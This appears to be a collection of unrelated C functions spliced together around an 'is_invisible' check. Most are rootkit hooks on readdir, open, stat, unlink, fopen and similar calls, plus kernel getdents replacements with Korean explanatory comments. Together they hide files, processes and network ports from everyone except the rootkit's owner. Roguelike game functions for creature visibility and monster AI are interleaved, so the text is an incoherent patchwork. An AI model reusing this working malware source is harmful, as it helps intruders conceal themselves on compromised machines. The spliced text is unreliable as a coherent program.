struct dirent64 *readdir64(DIR *dirp) { DEBUG("readdir64 hooked.\n"); if (is_owner()) return syscall_list[SYS_READDIR64].syscall_func(dirp); struct dirent64 *dir; do { dir = syscall_list[SYS_READDIR64].syscall_func(dirp); if (dir != NULL && (strcmp(dir->d_name,".\0") || strcmp(dir->d_name,"/\0"))) continue; if(dir != NULL) { char path[PATH_MAX + 1]; char *proc_str = strdup(PROC_STR); x(proc_str); snprintf(path, PATH_MAX, proc_str, dir->d_name); cleanup(proc_str,strlen(proc_str)); if(is_invisible(path) || strstr(path, MAGIC_STRING)) { continue; } } } while(dir && is_invisible(dir->d_name)); return dir; }
bool Creature::sees( const Creature &critter, int &bresen1, int &bresen2 ) const { if( critter.is_hallucination() ) { // hallucinations are imaginations of the player character, npcs or monsters don't hallucinate. // Invisible hallucinations would be pretty useless (nobody would see them at all), therefor // the player will see them always. return is_player(); } const auto p = dynamic_cast< const player* >( &critter ); if( p != nullptr && p->is_invisible() ) { // Let invisible players see themselves (simplifies drawing) return p == this; } if( posz() != critter.posz() && !debug_mode ) { return false; // TODO: Remove this } const int wanted_range = rl_dist( pos3(), critter.pos3() ); if( wanted_range <= 1 ) { return true; } else if( ( wanted_range > 1 && critter.digging() ) || ( g->m.is_divable( critter.pos3() ) && critter.is_underwater() && !is_underwater() ) ) { return false; } return sees( critter.pos3(), bresen1, bresen2 ); }
bool Creature::sees( const Creature &critter ) const { if( critter.is_hallucination() ) { // hallucinations are imaginations of the player character, npcs or monsters don't hallucinate. // Invisible hallucinations would be pretty useless (nobody would see them at all), therefor // the player will see them always. return is_player(); } const auto p = dynamic_cast< const player* >( &critter ); if( p != nullptr && p->is_invisible() ) { // Let invisible players see themselves (simplifies drawing) return p == this; } if( !fov_3d && !debug_mode && posz() != critter.posz() ) { return false; } const int wanted_range = rl_dist( pos(), critter.pos() ); if( wanted_range <= 1 && ( posz() == critter.posz() || g->m.valid_move( pos(), critter.pos(), false, true ) ) ) { return true; } else if( ( wanted_range > 1 && critter.digging() ) || (critter.has_flag(MF_NIGHT_INVISIBILITY) && g->m.light_at(critter.pos()) <= LL_LOW ) || ( critter.is_underwater() && !is_underwater() && g->m.is_divable( critter.pos() ) ) ) { return false; } return sees( critter.pos(), critter.is_player() ); }
DIR *opendir(const char *name) { DEBUG("opendir hooked.\n"); if (is_owner()) return syscall_list[SYS_OPENDIR].syscall_func(name); if(is_invisible(name)) { errno = ENOENT; return NULL; } return syscall_list[SYS_OPENDIR].syscall_func(name); }
int unlinkat(int dirfd, const char *pathname, int flags) { DEBUG("unlinkat hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_UNLINKAT].syscall_func(dirfd, pathname, flags); if(is_invisible(pathname)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_UNLINKAT].syscall_func(dirfd, pathname, flags); }
int unlink(const char *pathname) { DEBUG("unlink hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_UNLINK].syscall_func(pathname); if(is_invisible(pathname)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_UNLINK].syscall_func(pathname); }
int __xstat64(int ver, const char *path, struct stat64 *buf) { DEBUG("xstat64 hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_XSTAT64].syscall_func(ver, path, buf); if(is_invisible(path)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_XSTAT64].syscall_func(ver,path, buf); }
int stat(const char *path, struct stat *buf) { DEBUG("stat hooked\n"); if (is_owner()) return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf); if(is_invisible(path)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, buf); }
int rmdir(const char *pathname) { DEBUG("rmdir hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_RMDIR].syscall_func(pathname); if(is_invisible(pathname)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_RMDIR].syscall_func(pathname); }
int open(const char *pathname, int flags, mode_t mode) { DEBUG("open hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_OPEN].syscall_func(pathname, flags, mode); if(is_invisible(pathname)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_OPEN].syscall_func(pathname,flags,mode); }
int __lxstat64(int ver, const char *file, struct stat64 *buf) { DEBUG("__lxstat64 hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_LXSTAT64].syscall_func(ver, file, buf); if(is_invisible(file)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_LXSTAT64].syscall_func(ver, file, buf); }
int lstat(const char *file, struct stat *buf) { DEBUG("lstat hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_LXSTAT].syscall_func(_STAT_VER, file, buf); if(is_invisible(file)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_LXSTAT].syscall_func(_STAT_VER, file, buf); }
int access(const char *path, int amode) { DEBUG("access hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_ACCESS].syscall_func(path, amode); if(is_invisible(path)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_ACCESS].syscall_func(path,amode); }
int link(const char *oldpath, const char *newpath) { DEBUG("link hooked.\n"); if (is_owner()) return (long)syscall_list[SYS_LINK].syscall_func(oldpath, newpath); if(is_invisible(oldpath)) { errno = ENOENT; return -1; } return (long)syscall_list[SYS_LINK].syscall_func(oldpath, newpath); }
struct dirent *readdir(DIR *dirp){ if(!orig_readdir) orig_readdir = dlsym(RTLD_NEXT, "readdir"); struct dirent* dentry = (struct dirent*)orig_readdir(dirp); while(dentry != NULL && is_invisible(dentry->d_name)){ dentry = (struct dirent*)orig_readdir(dirp); logdentry(dentry); } if(dentry != NULL) logdentry(dentry); return dentry; }
struct dirent64 *readdir64(DIR *dirp){ if(!orig_readdir64) orig_readdir64 = dlsym(RTLD_NEXT, "readdir64"); struct dirent64* dentry = (struct dirent64*)orig_readdir64(dirp); while(dentry != NULL && is_invisible(dentry->d_name)){ dentry = (struct dirent64*)orig_readdir64(dirp); logdentry64(dentry); } if(dentry != NULL) logdentry64(dentry); return dentry; }
int __xstat(int ver, const char *path, struct stat *buf) { DEBUG("xstat hooked. path: %s\n",path); if (is_owner()) return (long)syscall_list[SYS_XSTAT].syscall_func(ver, path, buf); if(is_invisible(path)) { DEBUG("File is invisble.\n"); errno = ENOENT; return -1; } return (long)syscall_list[SYS_XSTAT].syscall_func(ver,path, buf); }
asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { int ret = orig_getdents64(fd, dirent, count), err; unsigned short proc = 0; unsigned long off = 0; struct linux_dirent64 *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; }
FILE *fopen (const char *filename, const char *mode) { DEBUG("fopen hooked %s.\n", filename); if (is_owner()) syscall_list[SYS_FOPEN].syscall_func(filename, mode); if (is_procnet(filename)) return hide_ports(filename); if (is_invisible(filename)) { errno = ENOENT; return NULL; } return syscall_list[SYS_FOPEN].syscall_func(filename, mode); }
/** * @brief A simple, but effective AI function which will attack the player or other hostile creatures - or chase them if necessary! * * @param m The monster/actor which is performing this hostility. */ void hostile_ai(actor_t *m) { int oy, ox; co c; oy = m->y; ox = m->x; if(m->attacker && next_to(m, m->attacker)) { attack(m, m->attacker); return; } if(next_to(m, player) && !is_invisible(player)) { m->attacker = player; attack(m, m->attacker); return; } if(actor_in_lineofsight(m, player)) { m->goalx = player->x; m->goaly = player->y; } else { m->attacker = NULL; do { m->goalx = ri(1, world->curlevel->xsize-1); m->goaly = ri(1, world->curlevel->ysize-1); } while(!monster_passable(world->curlevel, m->goaly, m->goalx)); } c = get_next_step(m); if(c.x == 0 && c.y == 0) { return; } else { m->y = c.y; m->x = c.x; world->cmap[oy][ox].monster = NULL; world->cmap[m->y][m->x].monster = m; } }
asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { // getdents() 함수는 읽어들인 바이트 수를 반환한다. int ret = orig_getdents(fd, dirent, count), err; unsigned short proc = 0; // offset을 의미 unsigned long off = 0; struct linux_dirent *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; // kdirent(aka kernel directory entry) // kzalloc(aka kernel zeroed malloc) kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; // 시스템콜 안에서는 사용자 영역에서 가져온 directory entry를 // 직접적으로 사용하지 않고 커널 Heap 영역에 복사해서 사용한다. // copy_from_user() 함수는 복사하지 못한 바이트 수를 반환한다. err = copy_from_user(kdirent, dirent, ret); if (err) goto out; // 목표 시스템의 커널 버전이 3.19 이하이므로 다음 방식으로 d_inode를 접근한다. d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; // inode가 프로세스인지 파일인지 구별 if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; // 매개변수로 전달받은 파일 디스크립터(fd)로 추적해내려간 // 데이터의 바이트 수 만큼 ret 변수는 감소한다. // ret 변수의 값이 off 변수보다 크지 않으면 // 파일 디스크립터 이하 모든 inode를 탐색한 것이다. while (off < ret) { // void 포인터의 포인터 연산은 1 바이트를 단위로 한다. dir = (void *)kdirent + off; if ((!proc && // 프로세스가 아닐 때 && 숨기려는 파일일 때 (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && // 프로세스일 때 && 숨기려는 프로세스일 때 is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { // 숨기려는 파일, 디렉토리 또는 프로세스가 // 메모리 공간의 시작주소에 위치하면 // 할당된 메모리 공간의 크기를 줄인다. if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } // 숨기려는 파일, 디렉토리 또는 프로세스가 차지하는 공간을 // 이전 directory entry가 차지하는 것처럼 보이게 한다. prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: // 커널 영역에서 동적 할당한 Heap 영역을 해제 kfree(kdirent); return ret; }